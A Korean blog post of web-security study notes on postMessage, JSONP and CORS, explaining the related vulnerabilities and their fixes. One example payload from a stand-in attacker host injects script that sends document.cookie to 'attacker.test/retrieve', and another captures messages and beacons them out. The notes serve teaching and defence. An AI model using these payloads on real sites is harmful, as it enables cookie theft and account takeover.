본문 바로가기

Security

[Webhacking] [client-side advanced] CORS

반응형

CORS 기술 사용 시 문제점

현재 사이트에서 다른 사이트로 정보 유출 (기밀성)

다른 사이트에서 현재 사이트 변조 (무결성)

- 다른 사이트로부터 스크립트 등이 심어져 XSS 가능

 

메시지 전송할 때 대상 윈도의 postMessage 메소드를 호출, 수신하는 윈도는 message 전역 이벤트를 청취 

targetWindow.postMessage(message, targetOrigin[, transfer])

targetWindow 메시지를 보낼 대상 Window
message 메시지 객체 (함수, DOM 객체 등은 보낼 수 없음)
targetOrigin 메시지 송신 시점에 targetWindow의 Origin이 targetOrigin과 일치하여야 함. targetOrigin에 "*"을 지정하면 Origin 검사가 이루어지지 않음.
transfer (선택사항) ArrayBuffer나 canvas context 등 소유권을 전이할 객체의 배열을 지정.

 

message 이벤트 (MessageEvent)

origin 메시지를 송신한 Origin 반환
source 메시지를 송신한 Window 객체 반환
data 복사된 메시지 객체 또는 값 반환

 

// 메시지 송신
targetWindow.postMessage(message, targetOrigin);
// 메시지 수신
window.onmessage = function (e) {
    if (e.origin === 'https://dreamhack.io') {
        console.log(e.data);
        e.source.postMessage('Hello, world!', e.origin);
    }
}

postMessage로 문자열뿐만 아니라 객체도 전송 가능.

함수나 DOM 객체, 프로토타입은 전송 불가능.

 

// https://dreamhack.io
window.onmessage = function (e) {
    var dialog = document.getElementById('my-dialog');
    if (dialog == null) {
        dialog = document.createElement('dialog');
        dialog.id = 'my-dialog';
        document.body.appendChild(dialog);
    }
    dialog.setAttribute('open', '');
    dialog.innerHTML = e.data;
};
// https://bob.dreamhack.io
parent.postMessage('<h1>안내</h1><p>작업이 완료되었습니다.</p>', 'https://dreamhack.io');
// https://attacker.test
parent.postMessage(`XSS attack<script>
new Image().src="https://attacker.test/retrieve?" + document.cookie);
alert(document.domain);
<${'/'}script>`, 'https://dreamhack.io');

origin확인 안하고 보내면 보안문제 발생.

 


Window.postMessage 사용 시 취약점 - Origin 전환 경합 조건

postMessage 사용 시 기억해야하는점은 메시지를 보내는 대상이 웹 문서가 아닌 창(윈도)라는 점.

창의 경우는 사용자가 하이퍼링크를 방문하거나 스크립트가 다른문서로 redirect 시켜 들어 있는 문서가 바뀔 수도 있음.

이 상태에서 메시지를 보내게 되면 의도하지 않은 origin에 메시지가 누출될 수 있음.

postMessage의 두 번째 매개변수 targetOrigin에 대상 Origin 문자열을 명시하면 이 문제를 해결 가능.

 

<!DOCTYPE html>
<title>검색 결과</title>
<script>
window.onmessage = function (e) {
    if (e.origin === 'https://settings.dreamhack.io') {
        document.getElementById('cur_set').textContent = e.data;
    }
}
</script>
<a target="_blank" href="https://settings.dreamhack.io/">검색 설정 (현재: <span id="cur_set">0</span>)</a>
<ul>
    <li><a href="https://attacker.test/entry" rel="noopener noreferrer nofollow">스폰서 링크</a></li> <!-- 공격자 페이지 -->
</ul>
<!DOCTYPE html>
<form onsubmit="opener.postMessage(this.setting.value, '*');window.close();return false">
    <input type="text" name="setting" value="0" />
    <input type="submit" value="확인" />
</form>
<script>window.onmessage = function (e) {
    alert('Current setting: ' + e.data);
    new Image().src = "/retrieve?" + e.data;
};</script>

JSONP

json with padding의 준말.

CORS 기술 도입 전 SOP (Same Origin Policy) 우회하기 위해 썼던 방식.

API 제공자 코드를 그대로 사용자 웹문서에서 실행.

하지만 API 서버가 침해되면 사용하는 문서 역시 XSS 공격에 취약해짐. -> 따라서 사용 감소하는 추세

JSONP API는 응답 데이터를 특정 콜백 함수를 호출하는 코드로 감쌈. (ajax의 success?)

<script src="https://api.test/request.jsonp?id=123&callback=onAPIResponse">

callback 함수 지정해놓고 

onAPIResponse({...});

이렇게 응답 메소드로 받음.

JSONP 발생 취약점

  1. origin 검사 부재로 인한 CSRF
    1. 민감한 정보반환 API 는 origin을 반드시 확인해야 한다.
  2. 콜백 함수명 검증 부재로 인한 제공자 XSS
    1. 콜백명에 HTML 코드 등을 삽입하면 브라우저는 이를 HTML로 인식 가능 XSS 취약점 발생함.
    2. HTTP Accept 헤더에 text/javascript MIME 타입이 포함되어 있는지 검사.
    3. Content-Type : text/javascript 설정 및 X-Content-Type-Option : nosniff 헤더로 응답이 자바스크립트가 아닌 다른 콘텐츠로 인식되는 경우 방지.
  3. JSONP API 침해 사고 발생 시 사용자 XSS
    1. API 침해사고 발생 시에 CSP 밖에 별다른 방법 없음.

CORS 정책

CORS 정책은 서버가 HTTP 응답 헤더를 통해 직접 허용하고자 하는 Origin을 지정할 수 있도록 하는 기술

SOP와 JSONP의 한계를 넘기 위해 설계됨.

CORS요청 보낼 때 브라우저는 먼저 대상 웹 서버에 OPTIONS 메소드를 가진 예행(pre-flight) 요청을 추가로 보냄

이는 서버가 CORS 접근을 지원하는지 판별하는 과정 , 만약 OPTIONS 해더를 지원하지 않는다면 CORS 요청 중단됨.

만약 CORS 정책 지원 시에 OPTIONS 요청의 응답에 허용되는 Origin 등에 대한 정보를 보냄.

관련 HTTP 헤더

Access-Control-Allow-Origin 요청이 허용되는 Origin 지정, * 의 경우 모든 Origin 허용
Access-Control-Allow-Credentials 요청에 신원 정보(쿠기 등)이 포함될 수 있는지 지정
Access-Control-Allow-Methods 요청에 허용되는 메소드 지정
Access-Control-Allow-Headers 요청에 허용되는 헤더 지정
Access-Control-Expose-Headers 웹 클라이언트가 접근할 수 있는 응답 헤더 지정
Access-Control-Max-Age CORS 정책이 캐시될 수 있는 최대 기간 지정

 

CORS를 요청하는 클라이언트의 헤더 

Access-Control-Request-Headers OPTIONS 요청이 끝나고 실제 요청을 보낼 때 포함될 헤더의 목록을 지정합니다.
Access-Control-Request-Method OPTIONS 요청이 끝나고 실제 요청을 보낼 때 사용될 HTTP 메소드 이름을 지정합니다.

Access-Conrtol-Allow-Origin이 *로 설정되는 등 헤더가 잘못 설정되면 다른 웹 페이지에서 모든 서비스가 접근 가능하게 될 수 있음. 

따라서 명시적인 Origin 값을 가져야 함

반응형